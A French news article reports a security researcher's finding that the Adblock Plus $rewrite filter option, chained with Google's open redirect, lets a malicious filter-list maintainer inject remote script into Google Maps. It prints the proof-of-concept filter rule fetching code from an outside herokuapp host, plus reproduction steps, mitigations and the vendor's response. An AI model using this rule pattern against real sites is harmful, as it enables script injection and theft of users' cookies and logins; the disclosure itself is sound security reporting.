Un exploit a été découvert qui pourrait permettre aux responsables de la maintenance des listes de filtres bloquants pour les extensions de navigateur Adblock Plus, AdBlock et uBlocker de créer des filtres qui injectent des scripts distants dans des sites Web.Avec une base d’utilisateur ayant franchi la barre des 10 millions, si des scripts malveillants venaient à être injectés dans les bloqueurs de publicité, cela aurait un impact considérable car ils pourraient effectuer des activités indésirables, telles que le vol de cookies, les informations de connexion, provoquant des redirections de pages ou tout autre comportement indésirable.
L'option de filtre $rewrite
Pour ceux qui ne sont pas familiarisés avec le fonctionnement des bloqueurs de publicité, ils utilisent des listes d’URL liées aux publicités et aux comportements malveillants. Ils sont généralement gérés par une petite équipe de personnes, voire une seule personne. Lorsque ces listes sont chargées par une extension bloquant les publicités, comme Adblock Plus, cette extension empêchera le navigateur de se connecter aux URL répertoriées, et donc aux publicités ou aux scripts malveillants.
Par exemple, ci-dessous se trouve la liste de filtres de la liste de blocage des annonces fréquemment appelée EasyList.
Lors de la publication d'Adblocker Plus 3.2 en 2018, une nouvelle option de liste de filtres, appelée $rewrite, a été ajoutée. Cette option permettait à un mainteneur de liste de remplacer une demande Web qui correspond à une expression régulière particulière avec une autre URL.
Hubert Figuière, qui a présenté cette fonctionnalité, a expliqué que
« Depuis Adblock Plus 3.2 pour Chrome, Firefox et Opera (et les versions de développement à partir du 3.1.0.2053), une nouvelle option de filtre $ rewrite permet de réécrire l'URL d'une ressource au lieu de la bloquer.
« Lorsque Adblock Plus met en correspondance une URL de requête avec un filtre doté de l'option $rewrite, il transforme l'URL en fonction de la règle fournie et demande au navigateur de charger la ressource à l'aide de cette nouvelle URL.
« La syntaxe de la règle de réécriture est la suivante: vous spécifiez une chaîne qui sert de modèle pour la nouvelle URL. $n est substitué par l'expression régulière n-ème sous-correspondance du filtre. C’est la même syntaxe que la fonction String.prototype.replace () de JavaScript. Si l’URL obtenue est relative (c’est-à-dire qu’elle n’a pas d’hôte), l’origine de la requête initiale sera utilisée comme base. Dans tous les cas, si la nouvelle URL ne partage pas l’origine, la réécriture sera considérée comme ayant échoué et la requête initiale sera laissée passer.
« De plus, les filtres $rewrite sont ignorés pour les requêtes du type SCRIPT, SUBDOCUMENT, OBJECT et OBJECT_SUBREQUEST, pour des raisons de sécurité.
« Cette option est pratique pour modifier ou supprimer les paramètres de requête ».
Le seul inconvénient est donc que la chaîne de remplacement doit être une URL relative, ce qui signifie qu'elle ne contient pas de nom d'hôte et que, lors de la réécriture, elle doit appartenir au même domaine d'origine que la demande d'origine.
Par exemple, la règle de filtrage ||example.com/ad.gif$rewrite=/puppies.gif va simplement réécrire les demandes pour example.com/ad.gif pour devenir une demande pour example.com/puppies.gif
/(^https?:\/\/example\.com\/page-123\.php)\?.*/$rewrite=$1 réécrira la demande sur example.com/page-123.php en enlevant la chaîne de la requête $1, ce qui correspond à example.com/page-123.php.
Pour rendre $rewrite encore plus difficile à exploiter, cette option de filtre ne fonctionnera pas avec les requêtes de type SCRIPT, SUBDOCUMENT, OBJECT et OBJECT_SUBREQUEST.
Ainsi, si un script malveillant doit figurer sur le même site, doit être réécrit sur une URL relative et ne peut pas être chargé via une balise script, comment un responsable de liste peut-il l'exploiter?
Chaînage de $rewrite avec des redirections de service Web pour un exploit
Armin Sebastian, chercheur en sécurité, a expliqué que, dans certaines conditions, il est possible pour un mainteneur malveillant de filtrage des annonces non autorisées de créer une règle qui injecte un script distant dans un site particulier.
Pour ce faire, vous devez rechercher un site permettant le chargement de scripts à partir de n'importe quel domaine, contenant une redirection ouverte et utilisant XMLHttpRequest ou Fetch pour télécharger les scripts à exécuter. Ce n'était pas trop difficile à trouver, car Sebastian utilisait Google Maps pour sa démonstration de principe.
Il a expliqué que les critères suivants doivent être remplis pour qu'un service Web soit exploitable à l'aide de cette méthode:
- La page doit charger une chaîne JS à l'aide de XMLHttpRequest ou Fetch et exécuter le code renvoyé.
- La page ne doit pas restreindre les origines à partir desquelles elle peut être extraite à l'aide des directives de la politique de sécurité du contenu, ni valider l'URL de la demande finale avant l'exécution du code téléchargé.
- L'origine du code récupéré doit avoir une redirection ouverte côté serveur ou héberger du contenu utilisateur arbitraire.
L’utilisation de XMLHttpRequest ou Fetch pour télécharger des scripts et une redirection ouverte sont les deux clés du problème.
En effet, les demandes utilisant XMLHttpRequest ou Fetch pour télécharger des scripts distants à exécuter ne risquent pas d’échouer lors de l’utilisation de l’option $rewrite. De plus, la redirection ouverte est tout aussi importante car elle permet la lecture du script par XMLHttpRequest à partir d'un site distant, tout en semblant toujours être de la même origine.
À titre d’exemple, Sebastian a utilisé Google Maps, qui utilise XMLHttpRequest pour charger des scripts et parce que google.com dispose d’une redirection ouverte dans les pages de résultats de recherche. Cela lui a permis d'enchaîner un exploit à l'aide de l'option de filtre $rewrite avec la redirection ouverte pour lire un script distant, comme indiqué ci-dessous.
| Code : | Sélectionner tout |
/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1
Lorsque la règle ci-dessus est en place, lorsque vous visitez le site www.google.com/maps/, la règle de filtrage utilisera la redirection ouverte de Google pour lire le contenu de https://majestic-ramsons.herokuapp.com/.
Sebastian affirme que « La règle ci-dessus redirige la demande cible vers le service de recherche I Feeling Lucky de Google, qui le redirige ensuite vers une page affichant alert(document.domain) »
Étapes pour exécuter du code arbitraire sur Google Maps:
- Installez soit Adblock Plus, AdBlock ou uBlock dans un nouveau profil de navigateur
- Visitez les options de l'extension et ajoutez l'exemple de liste de filtres. Cette étape a pour but de simuler une mise à jour illicite d'une liste de filtres par défaut.
- Accédez à Google Maps
- Une alerte avec “www.google.com” devrait apparaître après quelques secondes.
Sebastian a signalé cela à Google, mais l’éditeur d’Android a estimé que la redirection ouverte est un « comportement souhaité ».
« Google a été informé de l'exploit, mais le rapport a été clos en tant que "comportement souhaité", car il considère que le problème de sécurité potentiel est présent uniquement dans les extensions de navigateur mentionnées. Cette conclusion est regrettable, car l'exploit est composé d'un ensemble de vulnérabilités d’extension de navigateur et de service Web qui ont été chaînées », a estimé le chercheur.
Pour atténuer cet exploit enchaîné, Sebastian recommande aux sites Web d'utiliser l'en-tête Content Security Policy et l'option connect-src pour spécifier une liste blanche des sites à partir desquels les scripts peuvent être chargés.
« L'exploit peut être atténué dans les services Web affectés en ajoutant en liste blanche les origines connues à l'aide de l'en-tête CSP de connect-src ou en éliminant les redirections ouvertes côté serveur », a-t-il déclaré.
Réaction de AdBlock Plus et uBlock Origin
Cet exploit ne fonctionnera pas avec uBlock Origin car il ne supporte pas l’option de filtre $rewrite.
Hier, AdBlock Plus a déclaré :
Il y a quelques heures, nous avons appris que l'option de réécriture proposée aux auteurs de listes de filtres peut potentiellement être utilisée de manière abusive par un auteur de liste de filtres malveillant pour exécuter du code tiers sur un site Web. Nous estimons que ce scénario est très improbable principalement pour deux raisons:
Nous examinons tous les auteurs qui contribuent par défaut aux listes de filtres activées dans Adblock Plus.
Nous examinons ces listes de filtres régulièrement.
Bien que l'exploitation de ce problème ne soit pas anodine et ne fonctionne que sur certains sites Web, nous le prenons très au sérieux. Nous avons déjà confirmé qu'aucune liste de filtres commune n'avait abusé de cette option de filtrage.
Cela signifie qu'il n'y a aucune menace existante pour aucun utilisateur d'Adblock Plus.
Il est de notre responsabilité de protéger nos utilisateurs. Malgré le risque réel très faible, nous avons décidé de supprimer l’option de réécriture. Nous publierons dès lors une version mise à jour d’Adblock Plus dès que cela sera techniquement possible. Nous faisons ceci par précaution. Il n’y a eu aucune tentative d’abuser de l’option de réécriture et nous ferons tout notre possible pour que cela ne se produise pas.
Sources : billet Armin Sebastian, AdBlock Plus (présentation de $rewrite, réaction aux conclusions du chercheur)